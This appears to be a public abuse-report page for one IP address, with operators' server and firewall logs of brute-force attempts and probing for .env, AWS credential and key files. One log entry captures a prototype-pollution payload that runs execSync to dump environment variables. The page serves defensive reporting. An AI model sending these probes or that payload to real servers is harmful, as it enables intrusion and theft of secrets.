🇪🇸
librebit
2026-09-23 06:48:07
UTC ·
(1 month ago)
Brute force
Brute-Force
🇫🇷
SpaceHost-Server
2026-09-22 22:16:56
UTC ·
(1 month ago)
Brute-Force
Web App Attack
🇳🇱
melroy89
2026-09-22 22:03:35
UTC ·
(1 month ago)
136.109.112.48 - - [23/Sep/2026:00:03:23 +0200] "GET / HTTP/1.1" 403 9 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0" "web.melroy.org" 0.000
136.109.112.48 - - [23/ ...
show more
136.109.112.48 - - [23/Sep/2026:00:03:23 +0200] "GET / HTTP/1.1" 403 9 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0" "web.melroy.org" 0.000
136.109.112.48 - - [23/Sep/2026:00:03:23 +0200] "POST / HTTP/1.1" 403 9 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; [email protected] )" "web.melroy.org" 0.000
136.109.112.48 - - [23/Sep/2026:00:03:23 +0200] "GET /om7f8hqbxphk25pjy5kw HTTP/1.1" 403 9 "-" "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)" "web.melroy.org" 0.000
136.109.112.48 - - [23/Sep/2026:00:03:24 +0200] "GET /3kla92fai28iubpqy1zt HTTP/1.1" 403 9 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" "web.melroy.org" 0.000
136.109.112.48 - - [23/Sep/2026:00:03:24 +0200] "GET /z9x8c7v6b5-debug-trigger-web.melroy.org HTTP/1.1" 403 9 "-" "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)" "web.melroy.org" 0.000
136.109.112.48 - - [23
...
show less
Web App Attack
🇩🇪
TheDjRider
2026-09-22 20:16:09
UTC ·
(1 month ago)
CrowdSec detected Web application reconnaissance. Scenario: crowdsecurity/http-probing. Automatic ban triggered. Detection time (UTC): 2026-09-22T20:15:54.539554834Z. Context: http_status=404
Web App Attack
🇺🇸
TPI-Abuse
2026-09-22 20:01:07
UTC ·
(1 month ago)
(mod_security) mod_security (id:210492) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 16:00:56.955391 2026] [security2:error] [pid 22601:ti ...
show more
(mod_security) mod_security (id:210492) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 16:00:56.955391 2026] [security2:error] [pid 22601:tid 22601] [client 136.109.112.48:44236] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.montepulciano.org"] [uri "/.env"] [unique_id "arLeeHQdS5sxY3EEK19OZAAAAAk"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-09-22 16:51:05
UTC ·
(1 month ago)
(mod_security) mod_security (id:210492) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 12:50:58.033790 2026] [security2:error] [pid 24355:ti ...
show more
(mod_security) mod_security (id:210492) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 12:50:58.033790 2026] [security2:error] [pid 24355:tid 24355] [client 136.109.112.48:40480] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.3905ccn.org"] [uri "/.//.env"] [unique_id "arKx8pY-SY4Yvsd1KYmp8wAAAAo"]
show less
Brute-Force
Bad Web Bot
Web App Attack
2026-09-22 16:01:01
UTC ·
(1 month ago)
...
Web App Attack
🇩🇪
macrob
2026-09-22 15:35:52
UTC ·
(1 month ago)
2026/09/22 15:35:50 [error] 1636365#1636365: *25433899 access forbidden by rule, client: 136.109.112.48, server: 100fs.org, request: "GET /dist/.vite/manifest.json HTTP/1.1", host: "100fs.org"
2026/09/22 15:35:50 [error] 1636366#1636366: *25433901 ac ...
show more
2026/09/22 15:35:50 [error] 1636365#1636365: *25433899 access forbidden by rule, client: 136.109.112.48, server: 100fs.org, request: "GET /dist/.vite/manifest.json HTTP/1.1", host: "100fs.org"
2026/09/22 15:35:50 [error] 1636366#1636366: *25433901 access forbidden by rule, client: 136.109.112.48, server: 100fs.org, request: "GET /.vite/manifest.json HTTP/1.1", host: "100fs.org"
2026/09/22 15:35:50 [error] 1636366#1636366: *25433908 access forbidden by rule, client: 136.109.112.48, server: 100fs.org, request: "GET /config/env/aws_credentials.env HTTP/1.1", host: "100fs.org"
...
show less
Web App Attack
🇺🇸
TPI-Abuse
2026-09-22 15:02:29
UTC ·
(1 month ago)
(mod_security) mod_security (id:210492) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 11:02:24.479057 2026] [security2:error] [pid 15569:ti ...
show more
(mod_security) mod_security (id:210492) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 11:02:24.479057 2026] [security2:error] [pid 15569:tid 15569] [client 136.109.112.48:52124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "120"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "26c.org"] [uri "/.env"] [unique_id "arKYgFTQzrQAG4_J_72QcgAAACs"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
factor1
2026-09-22 14:42:31
UTC ·
(1 month ago)
CrowdSec at saturn Reports Abuse
Web App Attack
🇩🇪
4server
2026-09-22 14:04:58
UTC ·
(1 month ago)
[TueSep2216:04:56.0976312026][security2:error][pid844055:tid844119][client136.109.112.48:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Matchedphrase\"proc/self/\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"135\"][id\ ...
show more
[TueSep2216:04:56.0976312026][security2:error][pid844055:tid844119][client136.109.112.48:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Matchedphrase\"proc/self/\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"135\"][id\"344360\"][rev\"5\"][msg\"Atomicorp.comWAFRules:UnauthorizedOperatingSystemFileAccessAttempt\"][data\"MatchedData:proc/self/foundwithinARGS:0:{\\\\x22then\\\\x22:\\\\x22\$1:__proto__:then\\\\x22\,\\\\x22status\\\\x22:\\\\x22resolved_model\\\\x22\,\\\\x22reason\\\\x22:-1\,\\\\x22value\\\\x22:\\\\x22{/\\\\x22then/\\\\x22:/\\\\x22\$b1337/\\\\x22}\\\\x22\,\\\\x22_response\\\\x22:{\\\\x22_prefix\\\\x22:\\\\x22process.mainmodule.require\(\'child_process\'\).execsync\(\'env2\>/dev/null\|\|cat/proc/self/environ2\>/dev/null\'\)\;\\\\x22\,\\\\x22_formdata\\\\x22:{\\\\x22get\\\\x22:\\\\x22\$1:constructor:constructor\\\\x22}}}\"][severity\"CRITICAL\"][tag\"attack-lfi\"][hostname\"aaaa6877.org\"][uri\"/\"][unique_id\"arKLCA78bHvCrgMPmt2c3gAAAFY\"]
show less
Port Scan
Brute-Force
Web App Attack
🇺🇸
TPI-Abuse
2026-09-22 13:29:10
UTC ·
(1 month ago)
(mod_security) mod_security (id:210492) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 09:29:06.466508 2026] [security2:error] [pid 10692:ti ...
show more
(mod_security) mod_security (id:210492) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 09:29:06.466508 2026] [security2:error] [pid 10692:tid 10692] [client 136.109.112.48:54904] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "accordionclub.org"] [uri "/api/.env/public/.env"] [unique_id "arKCojh0-_NgEt34PzPzoQAAABE"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
wordpresshosting.solutions
2026-09-22 12:55:43
UTC ·
(1 month ago)
Web app vulnerability scanning detected. Evidence: [IP] - - [22/Sep/2026:12:55:42 +0000] "GET /admin%2F.env HTTP/1.1" 404 776 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; [email protected] )"
[IP] - - [22 ...
show more
Web app vulnerability scanning detected. Evidence: [IP] - - [22/Sep/2026:12:55:42 +0000] "GET /admin%2F.env HTTP/1.1" 404 776 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; [email protected] )"
[IP] - - [22/Sep/2026:12:55:43 +0000] "GET /dashboard%2F.env HTTP/1.1" 404 776 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)"
show less
Web App Attack
🇺🇸
TPI-Abuse
2026-09-22 12:54:46
UTC ·
(1 month ago)
(mod_security) mod_security (id:210492) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 08:54:38.935660 2026] [security2:error] [pid 12887:ti ...
show more
(mod_security) mod_security (id:210492) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 08:54:38.935660 2026] [security2:error] [pid 12887:tid 12887] [client 136.109.112.48:54996] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "adona.org"] [uri "/.env.prod"] [unique_id "arJ6jvri71nBg9dN6UqGLQAAACQ"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-09-22 12:23:28
UTC ·
(1 month ago)
(mod_security) mod_security (id:210730) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 08:23:23.515438 2026] [security2:error] [pid 617:tid ...
show more
(mod_security) mod_security (id:210730) triggered by 136.109.112.48 (48.112.109.136.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 22 08:23:23.515438 2026] [security2:error] [pid 617:tid 709] [client 136.109.112.48:56402] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||ahsdistance.org|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "ahsdistance.org"] [uri "/config/master.key"] [unique_id "arJzO7pk8ysm1gFi_DZ6dQAAAJQ"]
show less
Brute-Force
Bad Web Bot
Web App Attack
